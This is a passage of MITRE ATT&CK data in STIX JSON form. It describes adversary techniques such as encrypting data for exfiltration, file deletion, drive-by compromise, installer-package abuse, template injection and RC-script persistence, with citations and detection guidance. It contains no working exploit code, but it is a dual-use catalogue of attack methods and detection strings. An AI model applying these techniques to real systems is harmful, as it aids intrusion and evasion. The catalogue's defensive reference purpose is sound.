                    "url": "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf"
                },
                {
                    "source_name": "Wikipedia File Header Signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
                    "url": "https://en.wikipedia.org/wiki/List_of_file_signatures"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:16:14.674Z",
            "name": "Data Encrypted",
            "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "created": "2020-01-31T12:35:36.479Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/004",
                    "external_id": "T1070.004"
                },
                {
                    "source_name": "Microsoft SDelete July 2016",
                    "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.",
                    "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:12.733Z",
            "name": "File Deletion",
            "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include <code>del</code> on Windows, <code>rm</code> or <code>unlink</code> on Linux and macOS, and `rm` on ESXi.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Walker Johnson"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Deletion"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1189",
                    "external_id": "T1189"
                },
                {
                    "source_name": "Shadowserver Strategic Web Compromise",
                    "description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises \u2013 Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.",
                    "url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/"
                },
                {
                    "source_name": "push notification -mcafee",
                    "description": "Craig Schmugar. (2021, May 17). Scammers Impersonating Windows Defender to Push Malicious Windows Apps. Retrieved March 14, 2025.",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/scammers-impersonating-windows-defender-to-push-malicious-windows-apps/"
                },
                {
                    "source_name": "Push notifications - viruspositive",
                    "description": "Gaurav Sethi. (2021, December 14). The Dark Side of Web Push Notifications. Retrieved March 14, 2025.",
                    "url": "https://viruspositive.com/resources/blogs/the-dark-side-of-web-push-notifications"
                },
                {
                    "source_name": "push notifications - malwarebytes",
                    "description": "Pieter Arntz. (2019, January 22). Browser push notifications: a feature asking to be abused. Retrieved March 14, 2025.",
                    "url": "https://www.malwarebytes.com/blog/news/2019/01/browser-push-notifications-feature-asking-abused"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:12.900Z",
            "name": "Drive-by Compromise",
            "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:\n\n* A legitimate website is compromised, allowing adversaries to inject malicious code\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n* Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting)\n\nBrowser push notifications may also be abused by adversaries and leveraged for malicious code injection via [User Execution](https://attack.mitre.org/techniques/T1204). By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser.(Citation: Push notifications - viruspositive)(Citation: push notification -mcafee)(Citation: push notifications - malwarebytes)\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
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            "x_mitre_contributors": [
                "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
                "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
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            "x_mitre_detection": "Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",
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                "File: File Creation",
                "Network Traffic: Network Connection Creation"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab",
            "created": "2019-04-17T20:23:15.105Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1498",
                    "external_id": "T1498"
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
                },
                {
                    "source_name": "FSISAC FraudNetDoS September 2012",
                    "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.",
                    "url": "https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf"
                },
                {
                    "source_name": "FireEye OpPoisonedHandover February 2016",
                    "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201127180357/https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html"
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                {
                    "source_name": "Symantec DDoS October 2014",
                    "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.",
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf"
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            "created": "2023-03-13T15:26:11.741Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1651",
                    "external_id": "T1651"
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                {
                    "source_name": "AWS Systems Manager Run Command",
                    "description": "AWS. (n.d.). AWS Systems Manager Run Command. Retrieved March 13, 2023.",
                    "url": "https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html"
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                    "source_name": "MSTIC Nobelium Oct 2021",
                    "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"
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                    "source_name": "Microsoft Run Command",
                    "description": "Microsoft. (2023, March 10). Run scripts in your VM by using Run Command. Retrieved March 13, 2023.",
                    "url": "https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview"
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            "description": "Adversaries may abuse cloud management services to execute commands within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)\n\nIf an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment\u2019s virtual machines. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines.(Citation: MSTIC Nobelium Oct 2021)",
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                    "url": "https://attack.mitre.org/techniques/T1546/016",
                    "external_id": "T1546.016"
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                {
                    "source_name": "Application Bundle Manipulation Brandon Dalton",
                    "description": "Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.",
                    "url": "https://redcanary.com/blog/mac-application-bundles/"
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                {
                    "source_name": "Debian Manual Maintainer Scripts",
                    "description": "Debian Policy Manual v4.6.1.1. (2022, August 14). Package maintainer scripts and installation procedure. Retrieved September 27, 2022.",
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                {
                    "source_name": "Windows AppleJeus GReAT",
                    "description": "Global Research & Analysis Team, Kaspersky Lab (GReAT). (2018, August 23). Operation AppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware. Retrieved September 27, 2022.",
                    "url": "https://securelist.com/operation-applejeus/87553/"
                },
                {
                    "source_name": "Microsoft Installation Procedures",
                    "description": "Microsoft. (2021, January 7). Installation Procedure Tables Group. Retrieved December 27, 2023.",
                    "url": "https://learn.microsoft.com/windows/win32/msi/installation-procedure-tables-group"
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                    "source_name": "wardle evilquest parti",
                    "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021.",
                    "url": "https://objective-see.com/blog/blog_0x59.html"
                },
                {
                    "source_name": "Installer Package Scripting Rich Trouton",
                    "description": "Rich Trouton. (2019, August 9). Installer Package Scripting: Making your deployments easier, one ! at a time. Retrieved September 27, 2022.",
                    "url": "https://cpb-us-e1.wpmucdn.com/sites.psu.edu/dist/4/24696/files/2019/07/psumac2019-345-Installer-Package-Scripting-Making-your-deployments-easier-one-at-a-time.pdf"
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            "name": "Installer Packages",
            "description": "Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures)",
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                    "url": "https://attack.mitre.org/techniques/T1595/001",
                    "external_id": "T1595.001"
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                {
                    "source_name": "Botnet Scan",
                    "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020.",
                    "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf"
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            "name": "Scanning IP Blocks",
            "description": "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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                    "url": "https://attack.mitre.org/techniques/T1158",
                    "external_id": "T1158"
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                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
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                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
                },
                {
                    "source_name": "WireLurker",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
                    "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
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            "name": "Hidden Files and Directories",
            "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.",
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            "x_mitre_detection": "Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.",
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            "created": "2018-10-17T00:14:20.652Z",
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                    "external_id": "T1221"
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                {
                    "source_name": "Microsoft Open XML July 2017",
                    "description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)"
                },
                {
                    "source_name": "SANS Brian Wiltse Template Injection",
                    "description": "Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019.",
                    "url": "https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780"
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                {
                    "source_name": "Redxorblue Remote Template Injection",
                    "description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.",
                    "url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html"
                },
                {
                    "source_name": "MalwareBytes Template Injection OCT 2017",
                    "description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/"
                },
                {
                    "source_name": "Proofpoint RTF Injection",
                    "description": "Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption\u202fBeyond APT Actors\u202f. Retrieved December 9, 2021.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread"
                },
                {
                    "source_name": "Ciberseguridad Decoding malicious RTF files",
                    "description": "Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021.",
                    "url": "https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/"
                },
                {
                    "source_name": "Anomali Template Injection MAR 2018",
                    "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.",
                    "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104"
                },
                {
                    "source_name": "Talos Template Injection July 2017",
                    "description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/07/template-injection.html"
                },
                {
                    "source_name": "ryhanson phishery SEPT 2016",
                    "description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.",
                    "url": "https://github.com/ryhanson/phishery"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:16:15.516Z",
            "name": "Template Injection",
            "description": "Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft\u2019s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the <code>*\\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Michael Raggi @aRtAGGI",
                "Brian Wiltse @evalstrings",
                "Patrick Campbell, @pjcampbe11"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.\n\nMonitor .rtf files for strings indicating the <code>&#42;\\template</code> control word has been modified to retrieve a URL resource, such as <code>&#42;\\template http</code> or <code>&#42;\\template \\u-</code>.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Process: Process Creation",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211",
            "created": "2020-01-15T16:25:22.260Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1037/004",
                    "external_id": "T1037.004"
                },
                {
                    "source_name": "Apple Developer Doco Archive Launchd",
                    "description": "Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                },
                {
                    "source_name": "Startup Items",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"
                },
                {
                    "source_name": "Juniper Networks ESXi Backdoor 2022",
                    "description": "Asher Langton. (2022, December 9). A Custom Python Backdoor for VMWare ESXi Servers. Retrieved March 26, 2025.",
                    "url": "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
                },
                {
                    "source_name": "Ubuntu Manpage systemd rc",
                    "description": "Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and        /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.",
                    "url": "http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html"
                },
                {
                    "source_name": "IranThreats Kittens Dec 2017",
                    "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.",
                    "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "intezer-kaiji-malware",
                    "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.",
                    "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"
                },
                {
                    "source_name": "Intezer HiddenWasp Map 2019",
                    "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
                    "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:13.566Z",
            "name": "RC Scripts",
            "description": "Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries may establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004).(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
